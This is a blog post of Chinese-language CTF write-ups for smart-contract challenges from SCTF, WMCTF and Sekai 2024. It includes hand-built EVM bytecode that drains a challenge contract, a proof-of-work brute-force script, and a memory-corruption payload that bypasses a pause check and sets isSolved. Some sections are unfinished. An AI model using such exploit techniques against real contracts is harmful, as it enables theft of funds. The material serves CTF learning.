0%

comp - CTF_blockchain_summary

CTF 中的 blockchain 题目都放在这里面

[0] 2024 SCTF

[0-0] steal

本题参考了 W&M 的 wp

[0-0-0] analysis

这道题当时逆向没逆出来,赛后我才知道可以用gpt-o1反汇编yul核心代码(注意是核心代码,要不然体积太大不好翻译),没 gpt plus 的我只能调教 gpt-4o 了。喂给它的 prompt 是

你现在是一位yul->solidity的反汇编大师,你很擅长推理,请你帮我反汇编以下代码。另外,我有几点要求:

  1. 不要重复我给你的Yul代码
  2. 如果有些代码需要明确用途,请你直接根据Yul给出对应的solidity代码即可,不能用注释忽略过去

但是func_0x7f中间的一部分代码还是被忽略了,我框起那部分代码之后再让它请你翻译出这部分的代码,我说过不要用注释之后才得到下面的代码,去掉冗余函数,再稍微人工审计整理一下得到下面核心代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pragma solidity ^0.8.0;

contract Contract {
function isSolved() internal view returns (bool) {
uint8 value = uint8(sload(0));
if (value != 0) {
if (address(this).balance != 0) {
return false;
}
}
return true;
}

function steal() internal {
uint8 flag = uint8(sload(0));
require(flag == 0);
bool result = check_contract(msg.sender, 0x24a);
if (result) {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success);
sstore(0, uint256(flag | 1));
} else {
revert("Unauthorized");
}
}

function check_contract(address _addr, uint256 _val) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(_addr)
}
if (size == 0 || size > 0x40) {
return false;
}

bytes memory code = new bytes(size);
assembly {
extcodecopy(_addr, add(code, 0x20), 0, size)
}

uint256 hashToCompare = 0x29df21df2a5f235f;
for (uint256 i = 0; i < size; i++) {
bytes32 chunkHash;
assembly {
chunkHash := mload(add(code, add(0x20, i)))
}
if (chunkHash == bytes32(hashToCompare)) {
continue;
}
return false;
}

return true;
}
}

想要 isSolved 很简单,只需要成功调用 steal 函数中的 check_contract 函数,我们来看一下 check_contract 函数。

首先,check_contract 函数检查了调用者的合约代码字节数(如果是EOA字节数为0),这个调用者的合约数必须小于40并且不为0;因此作为攻击者,我们首先需要部署攻击合约(下称evil)。

其次,合约中必须存在0x29df21df2a5f235f这八个字节,要达成这个目的比较简单,只需要在编译好的合约bytecode之后附加这个八个字节即可。

在check_contract合约调用成功之后,steal函数会把自己的所有余额转给evil合约,所以evil合约还要实现fallback函数来接受转账。

[0-0-1] perform

这种搓 mnemonic 的方式用 这个工具 模拟起来比较方便

[0-0-1-0] initialization code

首先我们需要知道部署合约的本质其实是发送一个没有to参数的tx

1
2
3
4
web3.eth.sendTransaction({
from: me
data: 0x......
})

而 data 由两部分组成,前面的部分是 initialization code,后面紧跟 runtime code

initialization code 主要做的就是将 runtime code 放入内存。我们需要用到CODECOPY(t,f,s)RETURN(p,s)这两个 opcode,一个通用的模板如下

1
2
3
4
5
6
7
PUSH1 0x??    // (s: runtime code 字节数)
PUSH1 0x?? // (f: initialization code 字节数)
PUSH1 0x00 // (t: 拷贝到内存的t位置(此处为0x00))
CODECOPY
PUSH1 0x?? // (s: 0x??)
PUSH1 0x00 // (p: 0x00)
RETURN // (返回mem[p,(p+s)]的内容)

[0-0-1-1] runtime code

首先我们来处理 fallback,runtime code 都是自上而下执行的,我们需要用 jumpi 和 jumpdest 来实现 selector。

而 fallback 逻辑也很简单,只要调用者是 chall 合约直接 stop 就好,但是由于我们需要与 chall 合约地址进行比较,因此我们需要在 storage 里存入 chall 和 我们自己EOA的地址,所以需要修改 initialization code,在 storage[0] 存入我们自己,[1] 存入 chall_address

1
2
3
4
5
6
7
8
9
10
11
12
13
CALLER
PUSH1 0x00
SSTORE // sstore(0,caller()) 等价于 storage[0] = caller;
PUSH20 chall_address
PUSH1 0x00
SSTORE // storage[1] = chall_address
PUSH1 0x?? // (s: runtime code 字节数)
PUSH1 0x?? // (f: initialization code 字节数)
PUSH1 0x00 // (t: 拷贝到内存的t位置(此处为0x00))
CODECOPY
PUSH1 0x?? // (s: 0x??)
PUSH1 0x00 // (p: 0x00)
RETURN // (返回mem[p,(p+s)]的内容)

上面是修改后的 initialization code,下面是 runtime code 处理 fallback 的逻辑

1
2
3
4
5
6
7
8
9
PUSH1 0x00
SLOAD
CALLER
EQ // if caller == storage[0],condition == 1
PUSH1 0x?? // dest = 0x??
JUMPI // if condition == 1, jump to JUMPDEST
STOP // if condition == 0, execute this line
// 其实就是 fallback 的处理方法
JUMPDEST // 下面开始是 me 调用该合约时的处理方式

接下来要调用 steal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUSH1 0x00          // outsize
PUSH1 0x00 // out
PUSH1 0x04 // insize (mem[in...(in+size)]作为call的data)
PUSH1 0x00 // in
PUSH1 0x00 // v
PUSH1 0x01 // 调用slot[1]的地址(chall)
SLOAD // 调用slot[1]的地址(chall)
PUSH2 0xffff // g
PUSH4 0xcf7a8965 // bytes4(keccak256("steal()"))
PUSH1 0xe0 // 将0xcf7a8965左移至最高的4bytes
SHL // 将0xcf7a8965左移至最高的4bytes
PUSH1 0x00 // 将上一步得到的32bytes存入内存0号
MSTORE
CALL
STOP

把这几段代码拼起来,用上面那个网站转换mnemonic就可以得到bytecode了,但是有一些问题:首先是远程没有PUSH0,PUSH1 0x00 又会耗费很多字节,所以用SELFBALANCE来代替了PUSH1 0x00;其次是我们需要计算上面那些??代表的数值,最后得到的 bytecode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
CALLER
SELFBALANCE
SSTORE
PUSH20 0x90b978154ee5bf119262a99be39a2f3a5ae81baf
PUSH1 0x01
SSTORE
PUSH1 0x3f
PUSH1 0x25
SELFBALANCE
CODECOPY
PUSH1 0x3f
SELFBALANCE
RETURN
SELFBALANCE
SLOAD
CALLER
EQ
PUSH1 0x08
JUMPI
STOP
JUMPDEST
SELFBALANCE
SELFBALANCE
PUSH1 0x04
SELFBALANCE
SELFBALANCE
PUSH1 0x01
SLOAD
PUSH2 0xffff
PUSH4 0xcf7a8965
PUSH1 0xe0
SHL
SELFBALANCE
MSTORE
CALL
STOP

转换之后得到3347557390b978154ee5bf119262a99be39a2f3a5ae81baf600155603f60254739603f47f347543314600857005b47476004474760015461ffff63cf7a896560e01b4752f100,再拼接上29df21df2a5f235f,直接发送给rpc_url即可

但是我检查了一下发现这个合约的codesize是大于0x40字节的,不知道为什么原作者可以通过,或许是我检查的范围过大了?forge本地也无法直接通过字节码来create,没办法复现了。

[0-1] staking

[1] 2024 WMCTF Claim-Guard

[1-0] 概述

这道题的合约很简单,我们只需要 register 后爆破出合适的 pow 就可以成功 proveWork,然后 claimLastWinner 即可。但是问题在于起服务的时候同时起了一个基于 burberry 的 MEV bot,这个 bot 会在我们发起交易时,用更高的 gasPrice 抢先在我们之前执行交易,这样我们就无法通过 require(solveStatus[msg.sender].nonce == type(uint256).max, "already proved"); 或者是 require(status.nonce == 0, "not first solver"); 这两条检测了。

因此这道题最重要的点就是如何绕过 MEV Bot

[1-1] 分析

合约部分比较简单,我就不分析了,直接从 rust 写的 bot 开始分析

[1-1-0] main.rs

main函数首先监听了 claim-guard 和 burberry 的日志;然后 parse args,并创建 ws_provider 和 engine;之后通过 add_collector 来监听 newblock 和 pendingTx 这两个事件;再之后收集一些 tx 必要的信息比如 chain_id, signer;最后实例化 executor 和 strategy,并启动 burberry 的 engine.

值得注意的是,main 函数是基于 tokio 实现的,而 tokio 是事件驱动的,这解释了后面 process_event 为什么没有被调用,但仍能被触发。

[1-1-1] executor.rs

executor 比较简单,没什么值得注意的地方

[1-1-2] strategy.rs

主要注意 process_event 函数,它调用的 process_new_block 和 process_pending_tx 是关键函数。首先看 process_new_block。

process_new_block 函数主要负责 registerBlock,每当新区块被挖掘出来就调用 registerBlock。

process_pending_tx 中,每当接收到新交易就模拟这笔交易执行的环境,在evm中执行并获取执行日志,如果日志中发现了 workProved 的函数签名,bot 就会验证参数 pow 的正确性,如果它发现这是正确的,就会用更高的价格在我们之前注册这笔交易。具体细节可以看下面这段代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 0x27d4563e
let sig: [u8; 4] = [0x27, 0xd4, 0x56, 0x3e];
// concat sig and pow
let mut data = Vec::with_capacity(4 + 32);
data.extend_from_slice(&sig);
data.extend_from_slice(pow.as_slice());
let bytes = Bytes::from(data);

let bn = finalized_block.header.number.unwrap();
let nonce = *self.nonce_map.get(&bn).unwrap();

let effective_gas_price = tx.gas_price.or(tx.max_fee_per_gas).unwrap_or_default();
let chain_id = self.provider.get_chain_id().await.unwrap();
let tx_receipt = TransactionRequest {
from: Some(self.sender_addr),
to: Some(TxKind::Call(self.chall_addr)),
gas_price: Some(effective_gas_price * 2),
gas: Some(100_0000),
input: TransactionInput::new(bytes),
chain_id: Some(chain_id),
nonce: Some(nonce),

..Default::default()
};

我们可以观察到 tx_receiptgas_price 被设置成了 effective_gas_price * 2,而 effective_gas_price 是我们发起的 tx 的 gas_price 或 max_fee_per_gas。这样会导致什么问题呢?由于 bot 是用 anvil 模拟的,而 anvil 会

[1-2] 解题

[1-2-0] 爆破 keccak256

爆破出前两字节为 0000 的 keccak256 比较简单,以下是爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Hash import keccak

def pow():
for i in range(2**32):
keccak_hash = keccak.new(digest_bits=256)
pow = i.to_bytes(32, byteorder='big')
packed = pow + bytes.fromhex('00'*31 + '02')
keccak_hash.update(packed)

if int(keccak_hash.hexdigest(), 16) < 2**240:
print('Found valid PoW:', pow.hex())
print('Hash:', keccak_hash.hexdigest())
break

pow()

[1-2-1]

[2] 2024 Sekai

[2-0] Play to Earn

这道题实现的 ArcadeMachine 即游戏机可以向 0 地址转账,我一开始觉得这是烧币没啥用…后来发现 permit 里的 ecrecovor 出错时会返回 0 而不是直接回滚,所以可以让 allowance[0][my_address] 为 13.37,然后烧币+转账就可以了

另外有时间的时候可以看看这篇medium

[2-1] イベント!

这道题怎么还用 rust 搞了个服务器…有点复杂,改天再看

[2-2] ZOO

这道题怎么还要手撕字节码…有点复杂,今天看了吧…

逻辑很简单,ZOO 里的 fallback 函数接收 calldata 设置 local_animals,然后调用 commit 把 memory 里的 animals 推到 storage 里。问题出在下面这段代码

1
2
3
4
5
6
7
8
9
uint256 public isSolved;
AnimalWrapper[] public animals;

...
...
mstore(0x00, animals.slot)
let slot_hash := keccak256(0x00, 0x20)
let animal_addr := sload(add(slot_hash, mul(2, idx)))
let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1))

由于 isSolved 就在 animals 的上面,所以我们可以让 animal_addr 指向 isSolved - 1,animal_counter 就指向了 isSolved,而且对于内联汇编的溢出,GPT是这样说的:

在Solidity 0.8.0 及更高版本中,整型运算默认启用了溢出和下溢检查。这意味着,在高层次的Solidity代码中,诸如 +、- 等运算符在出现溢出或下溢时会自动抛出异常(revert)。然而,这个默认的安全机制并不自动适用于内联汇编(Yul)代码。

所以我们可以大胆构造了:

构造…构造不出来…因为有 whenNotPaused 这个修饰符不让你进这个 commit 函数,并且 idx 不能大于 7…

但跟 Nightu 师傅交流之后我得知 forge 可以动调合约,所以准备跑起来看看。另外,fallback 函数中还有这一段可以控制 idx=7 的 local_animals 指针:

1
2
let copy_size := sub(0x100, mul(0x20, idx))
mcopy(offset, add(offset, 0x20), copy_size)

既然我们可以控制指针,就可以在 0x21 修改时对任意内存写了,我们来布置一下任意memory写的payload:

首先,10 00 0000 xxxx(2byte的animal_index) + 30 07,这样就可以把 idx = 7 的 offset 改成我们任意想要的 2byte

其次,20 07 21 xxxx(2byte的name_length) + payload(长为 name_length),这样就可以把长度为 payload 的 name_length 复制到上面 animal_index 指向的内存位置了,但这种方式覆盖之后,如果op不是10,20,30,立刻就会break,并且就算不break,由于temp已经被写完,我们也无法再修改了。

既然我们解决了如何写,我们要解决一下要写什么。主要问题有两个:①绕过 whenNotPaused,这个可以通过修改 functions 这一函数指针,直接跳到 whennotPaused 之后。②在 commit 最后一个 sstore 时把 isSolved 改成 1.

我们先来动调看看第一个问题:要解决这个问题,首先我们要知道函数指针存在 memory 的哪里,之后我们得确定修改成什么才能绕过。

存在 memory 的什么地方这个很简单,我们只要看跳转都 commit 时 JUMPDEST 之前的 JUMP 语句栈上第一个变量是什么就行了,我们可以看到是 0x31b,而0x31b存在 memory 的 0xa0 那一行,所以我们要改掉 0xa0 这一行,不过我们先不改,继续看需要改成什么才能绕过。

我们继续单步走下去,看到走到 Address 为 322 时就要跳到 431 去 revert 了,所以我们只需要改成 323,就能绕过这条 jump。综上,我们知道要将 0xa0 这一行的 0x31b 改为 0x323.

所以我们构造的 payload 是:10 00 0000 007e 30 07 20 07 21 0002 0323,动调起来发现已经可以绕过 whenNotPaused 了。

之后,我们再来解决第二个问题:如何写进 isSolved.

commit 里的 sstore 就只有最后那一个,所以我们要想办法在这里做手脚。但由于我们之前布置的 payload 已经 break 了,所以我们希望修改一下:

1
2
3
4
5
6
10 00 0000 01db
10 00 0000 0000 <- 由于我们需要控制 length 为1,所以要多布置一个块
30 07
20 07 21 0025
20 07 22 0323
00000000000000000000000000000000 00000000000000000000000000000080

现在我们已经可以顺利进入 commit 的 for(i<length) 循环了,我们接下来的任务是看“什么操控了最后sstore的参数”

我们注意到 40 57 87 fa 12 a8 23 e0 f2 b7 63 1c c4 1b 3b a8 82 8b 33 21 ca 81 11 11 fa 75 cd 3a a3 bb 5a ce 是 slot_hash,而又有下面的代码可知

1
2
3
let slot_hash := keccak256(0x00, 0x20)
let animal_addr := sload(add(slot_hash, mul(2, idx)))
let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1))

slot_hash + 2*idx 是 animal_addr,slot_hash + 2*idx + 1 是 animal_counter,那我们合理怀疑 slot[2] 里存的就是这个 slot_hash,动态数组通过访问这个hash值+offset来访问成员。又因为 slot[1] 是 isSolved 变量,所以在 sstore 的参数add(add(slot_hash, mul(2, idx)), 1),中,我们需要计算出 idx,使这个参数等于1,最后可以算出来是0x5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299,因此最后的payload为1000000001fb10010000133730072007210045200722032300000000000000000000000000000000000000000000000000000000000000805fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299

另外,通过这道题我发现了其他几个之前没注意的点:

  1. 在函数被调用之前,EVM会先给这个函数初始化一些环境,还有检查一些内容

  2. 编译器对 solidity 做的优化还挺多的,比如 switch 里的判断

  3. 太夸张了,看N1的wp,我最多就能想到用一个指针去任意地址写,N1的payload用 21 覆盖了原有的指针后,再用覆盖的指针去修改了其他位置

  4. 如果无法方便地利用任意地址读写控制一片内存区域,不妨想想这片内存区域本身的定义是什么,我们是否可以通过原本的定义让他存下某个值(比如本题的 length 就是 animals_counter)

-------------文章就到这里啦!感谢您的阅读XD-------------